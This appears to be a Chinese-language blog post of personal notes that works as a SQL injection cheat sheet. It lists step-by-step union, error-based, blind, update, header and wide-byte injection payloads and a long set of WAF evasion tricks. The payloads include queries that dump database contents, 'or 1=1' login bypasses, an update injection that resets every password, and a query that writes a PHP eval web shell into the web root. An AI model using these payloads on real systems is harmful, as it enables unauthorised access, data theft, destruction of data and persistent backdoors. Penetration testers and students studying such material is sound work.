SQL注入

1.1 sql注入标准流程


1、推测其数据库的大致语法

eg:select * from 某表 where id = ‘xx’ limit 0,1

2、通过错误写入让其报错,显示其闭合方式

\ 是转义字符,把后面第一个东西变成字符串

select user,pass from user where id = ‘2\‘ limit 0,1

等价于select user,pass from user where id = ‘2’' limit 0,1

这样闭合错误就会报错!

一些常用的闭合方法:

  • ‘ ’
  • ” “
  • ( )
  • (‘ ‘)
  • (“ “)
  • (( ))
  • ((‘ ‘))
  • ((“ “))
  • ` `
  • (% %) #搜索框常见

3、验证其闭合方式

例如是 ’ ‘ 闭合,则输入2' --+,若查询成功说明闭合正确

–相当于注释符,+相当于空格,–+会注释掉后面的内容

4、确认有多少列

select * from 某表 where id = ‘xx’ order by 5

select * from 某表 where id = ‘xx’ order by 3

当小于或等于其正确数列时,才会查询成功

5、联合查询,显示报错位

select * from 某表 where id = ‘-1’ union select 1,2,3 --+

使union前查询出错即可,即会显出网站的报错位

6、开始爆库和其他内容

-1’ union select 1,database(),3 --+

-1’ union select 1,version(),3 --+ 当前版本

-1’ union select 1,user(),3 --+ 当前用户

-1’ union select 1,@@datadir,3 --+ 数据库物理路径

7、爆表

一条一条查:

-1’ union select 1,table_name,3 from information_schema.tables where table_schema='库名' limit 0,1 --+

也可以一起查:
-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名' --+

8、查列

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='库名' and table_name='表名' --+

9、查字段

-1' union select 1,group_concat(列名),3 from 表名 --+

1.2 报错注入


当发现数据库除了报错信息外,其他没有任何反应,此时考虑报错注入

1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+

简单高效的两种:

id=1' and extractvalue(1,concat(0x7e,(database()),0x7e)) --+

id=2' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

1.3.1 布尔盲注


使用情况:这个地方有数据库查询,但是没有显示位,会报错但是不出现信息,错误和正确的页面有区别

id=2’ and 0 –+
id=2’ and 1<2 –+
查询成功则说明可以夹带私货

相关小知识:

select length(database())计算数据库库名有几个字

select substr(database(),1,1)截取数据库库名,从第1个字开始截取1位

select ascii(substr(database(),1,1))把这个内容转为ASCII码

操作大致位一个一个字符去查询

id=1' and (select ascii(substr(database(),1,1))) < 115 --+

走流程:

id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1))) < 115 --+

实战时基本都交给sqlmap去操作

1.3.2 布尔时间盲注


使用情况:这个地方有数据库查询,但是没有显示位,也不会出现信息,错误也不会告诉你

相关小知识:

select sleep(5);
数完5s后输出一个0

select if((select database())='haha',sleep(5),null)
判断一下数据库的库名是否为haha,是就睡5s,不是就不管

实际操作:

1、先判断是否可以睡觉

id=1' and sleep(5) --+

2、查库

id=1' and if((select database())='库名',sleep(5),null) --+

3、走流程

id=1' and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(5),null) --+

……一般还是交给sqlmap搞定

1.4 Update注入


常见于密码更新sql语句,会更改数据库中所有的密码,危害较大谨慎使用

' or 1=1 #

update users set password=' ' or 1=1 # ' where username=' admin '

1.5 POST注入


法一:

万能密码:”) or 1=1 #

select username,password from [表] where username=(" ") or 1=1 # ") and password=(" ") limit 0,1

法二:

使用burpsuite抓包,抓的包送至repeater模块

接着走常规流程

1.6.1 http头注入


一些网站会获取你的User-Agent并记录在他的数据库中

推测其大致sql语句为

insert into 'security'.'某个表' (uagent,ipadd,username) values('浏览器信息','ip地址','用户名')

注入点通常在浏览器信息即User-Agent这块

通常post无法使用注释符,常用and '1'='1来闭合

实操

' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1

原句

insert into 'security'.'某个表' (uagent,ipadd,username) values('' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1','ip地址','用户名')

1.6.2 reffer,cookie注入


reffer即来路

两者的注入方式于http注入类似

1.7 宽字节注入


mysql用gbk编码,把2个字符当做一个汉字

%df把\吃掉,因为\进行url编码为%5c,而%df%5c为一个汉字,然而汉字是不会被解析出来的,就会当做一个空格,这样单引号就可以独立出来了

id=-2%df'union select 1,2,3 --+

如果碰到post类型
burp抓包,在目标位置admin%df%27 union select 1,2 #
把%df%27框起来,右键–convert selection–url—url decode

因为get会自动把数据进行url解码!!!!post不会把数据进行url解码!!!!

1.8 文件相关注入


相关知识:

apache网站位置:/var/www/html;旧版本apache网络位置/var/www

取出数据并写入文件:select * from 某表 into outfile "文件路径";

显示某个文件:select load_file(“文件路径”);

加载某个文件并转存:select load_file("文件路径") into outfile ("文件路径")

实操:

index.php?id=1') union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile "/var/www/html/haha.php" --+

index.php?id=1') union select 1,load_file("c:/flag.txt"),3 into outfile "/var/www/html/haha1.txt" --+

2.1 一些绕过waf技巧


  1. 大小写绕过
    Union SelEcT

  2. 双写绕过
    uniunionon

  3. 编码绕过
    security–》hex
    urlencode

  4. 注释符绕过
    uni//on sel//ect

  5. 空格绕过

    替代空格的东西

    %09 水平tab键

    %0a 新建一行

    %0c 新建一页

    %0d 回车键

    %0b 垂直tab键

    %a0 空格键

  6. or and 绕过

  7. 单引号

  8. 反引号
    大多数情况下,反引号只能出现在表名,有的时候表名和数据库某个语法语句类似的,否则数据库会误以为是语法
    select * from`from` where id=1

  9. 内联注释
    and /!select/ 1,2

  10. <>绕过
    un<>ion se<>lect

​ select * from users where id=1 and ascii(substr(database(),1,1)) > 115
greatest least

​ select * from users where id=1 and greatest(ascii(substr(database(),1,1)),115)

  1. 屏蔽逗号
    select substr(“xxxxxx”,1,3)
    select substr(“xxxxxx” from 1 to 3)

​ union select 1,2,3;
​ union select * from (select 1)a join (select 2)b join (select 3)c;

​ limit 0,1
​ limit 0 offset 1

  1. 屏蔽sleep
    and sleep(1)
    and benchmark(10000000000,1)

  2. group_concat屏蔽
    select group_concat(“haha”,”nihao”)
    select concat_ws(“”,”haha”,”nihao”)

  3. 等号屏蔽
    like rlike regexp <>
    id=1’ or 1 like 1
    id=1’ or 1 <> 1

  4. post情况屏蔽#
    id=3”) or 1=1 – a

  5. ip地址拦截
    X-Forwarded-For:
    X-remote-IP
    X-Originating-IP
    X-remote-addr
    X-Real-IP

  6. 修改静态资源
    www.xxx.com/sql.php?id=1
    可以替换为
    www.xxx.com/sql.php/1.js?id=1

  7. url白名单绕过
    为了防止防火墙误伤,会设置白名单/admin.php manager system

www.xxx.com/sql.php?id=1
www.xxx.com/sql.php/admin.php?id=1
www.xxx.com/sql.php?xxxx=/manager/&b=攻击代码
www.xxx.com/../../../../manager/../../../sql.php?id=1

  1. 爬虫白名单
    伪造自己是搜索引擎(修改ua)

  2. 数据库注释执行
    /!50001 select * from users/
    如果数据库是5.00.01以下的才会执行

  3. 增加干扰
    union all %23%a0 select 1,2,3


SQL注入
http://example.com/2023/09/03/sql注入/
Author
w1t2f3
Posted on
September 3, 2023
Licensed under